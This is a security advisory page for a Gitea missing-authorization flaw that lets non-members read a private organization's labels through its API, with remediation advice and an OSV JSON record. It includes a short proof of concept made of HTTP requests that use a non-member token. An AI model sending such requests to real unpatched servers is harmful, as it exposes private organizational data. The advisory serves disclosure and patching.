CVE-2026-25038: Gitea Unauthorized Access To Labels Of Vulnerability

HIGH
Advisory Identifier: GHSA-v73x-hx65-6pf4
CVSS 7.5
CWE-862 CWE-200
Published
Advisory Summary

CVE-2026-25038 is a HIGH (CVSS 7.5) unauthorized access to labels of vulnerability (CWE-862: Missing Authorization) affecting Gitea libraries in the Go ecosystem. The issue involves unauthorized access to labels of private organizations. Remediation is available by upgrading affected packages to version 1.26.3.

CVE-2026-25038 at a Glance

CVE Identifier CVE-2026-25038
GHSA Identifier GHSA-v73x-hx65-6pf4
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-862: Missing Authorization
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-25038

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.26.3
Upgrade code.gitea.io/gitea to 1.26.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25038, inspect your project dependencies for Gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.26.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints. A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed. The issue is limited to unauthorized read access. No unauthorized modification of labels was observed. ## Details The following endpoints are affected: * `GET /api/v1/orgs/{org}/labels` * `GET /api/v1/orgs/{org}/labels/{id}` During testing, a private organization was created and a label was added to that organization. Access to the organization itself was correctly restricted. A user without membership in the organization received a `404 Not Found` response when requesting organization information. However, the same user was still able to retrieve organization labels through the endpoints listed above. For comparison, other organization-scoped endpoints such as: * `GET /api/v1/orgs/{org}/teams` * `GET /api/v1/orgs/{org}/hooks` * `GET /api/v1/orgs/{org}/actions/secrets` correctly denied access to unauthorized users. The label endpoints returned the full Label object, including fields such as: * `id` * `name` * `description` * `color` * `url` Write operations were tested separately and remained protected by authorization checks. ## PoC ### Setup Create a private organization: ```http POST /api/v1/orgs Authorization: token <owner_token> { "username": "target-org", "visibility": "private" } ``` Create a label: ```http POST /api/v1/orgs/target-org/labels Authorization: token <owner_token> { "name": "internal-label", "color": "#aabbcc", "description": "private organization label" } ``` Verify that the organization is not accessible to a non-member: ```http GET /api/v1/orgs/target-org Authorization: token <non_member_token> ``` Response: ```http HTTP/1.1 404 Not Found ``` ### Retrieve all labels Request: ```http GET /api/v1/orgs/target-org/labels Authorization: token <non_member_token> ``` Observed response: ```http HTTP/1.1 200 OK ``` The response contains labels belonging to the private organization. ### Retrieve a specific label Request: ```http GET /api/v1/orgs/target-org/labels/1 Authorization: token <non_member_token> ``` Observed response: ```http HTTP/1.1 200 OK ``` The full Label object is returned. ### Verify write protection Request: ```http PATCH /api/v1/orgs/target-org/labels/1 Authorization: token <non_member_token> ``` Response: ```http HTTP/1.1 403 Forbidden ``` ### PoC Details https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak ## Impact Users who are not authorized to access a private organization can obtain label metadata associated with that organization. Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions. The issue affects confidentiality only. No integrity or availability impact was observed.

CVE-2026-25038 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.26.3
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.26.3
1.26.3

References

Frequently Asked Questions

What is CVE-2026-25038?
CVE-2026-25038 is a security vulnerability in Gitea involving Unauthorized Access to Labels of Private Organizations under CWE-862: Missing Authorization.
Which Gitea versions are affected?
Affected versions include releases prior to 1.26.3 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-25038?
Upgrading to 1.26.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.26.3. Upgrade your dependency to 1.26.3 or later.
What is the CVSS score of CVE-2026-25038?
CVE-2026-25038 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-25038?
CVE-2026-25038 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2026-25038?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v73x-hx65-6pf4",
  "modified" : "2026-07-21T21:46:40Z",
  "published" : "2026-07-21T21:46:39Z",
  "aliases" : [ "CVE-2026-25038" ],
  "summary" : "Gitea: Unauthorized Access to Labels of Private Organizations",
  "details" : "## Summary\n\nGitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.\n\nA user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.\n\nThe issue is limited to unauthorized read access. No unauthorized modification of labels was observed.\n\n## Details\n\nThe following endpoints are affected:\n\n* `GET /api/v1/orgs/{org}/labels`\n* `GET /api/v1/orgs/{org}/labels/{id}`\n\nDuring testing, a private organization was created and a label was added to that organization.\n\nAccess to the organization itself was correctly restricted. A user without membership in the organization received a `404 Not Found` response when requesting organization information.\n\nHowever, the same user was still able to retrieve organization labels through the endpoints listed above.\n\nFor comparison, other organization-scoped endpoints such as:\n\n* `GET /api/v1/orgs/{org}/teams`\n* `GET /api/v1/orgs/{org}/hooks`\n* `GET /api/v1/orgs/{org}/actions/secrets`\n\ncorrectly denied access to unauthorized users.\n\nThe label endpoints returned the full Label object, including fields such as:\n\n* `id`\n* `name`\n* `description`\n* `color`\n* `url`\n\nWrite operations were tested separately and remained protected by authorization checks.\n\n## PoC\n\n### Setup\n\nCreate a private organization:\n\n```http\nPOST /api/v1/orgs\nAuthorization: token <owner_token>\n\n{\n  \"username\": \"target-org\",\n  \"visibility\": \"private\"\n}\n```\n\nCreate a label:\n\n```http\nPOST /api/v1/orgs/target-org/labels\nAuthorization: token <owner_token>\n\n{\n  \"name\": \"internal-label\",\n  \"color\": \"#aabbcc\",\n  \"description\": \"private organization label\"\n}\n```\n\nVerify that the organization is not accessible to a non-member:\n\n```http\nGET /api/v1/orgs/target-org\nAuthorization: token <non_member_token>\n```\n\nResponse:\n\n```http\nHTTP/1.1 404 Not Found\n```\n\n### Retrieve all labels\n\nRequest:\n\n```http\nGET /api/v1/orgs/target-org/labels\nAuthorization: token <non_member_token>\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThe response contains labels belonging to the private organization.\n\n### Retrieve a specific label\n\nRequest:\n\n```http\nGET /api/v1/orgs/target-org/labels/1\nAuthorization: token <non_member_token>\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThe full Label object is returned.\n\n### Verify write protection\n\nRequest:\n\n```http\nPATCH /api/v1/orgs/target-org/labels/1\nAuthorization: token <non_member_token>\n```\n\nResponse:\n\n```http\nHTTP/1.1 403 Forbidden\n```\n\n### PoC Details\nhttps://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak\n\n## Impact\n\nUsers who are not authorized to access a private organization can obtain label metadata associated with that organization.\n\nDepending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.\n\nThe issue affects confidentiality only. No integrity or availability impact was observed.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.26.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-v73x-hx65-6pf4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25038"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38151"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9"
  }, {
    "type" : "WEB",
    "url" : "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.26.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T21:46:39Z",
    "nvd_published_at" : "2026-07-03T21:16:57Z"
  }
}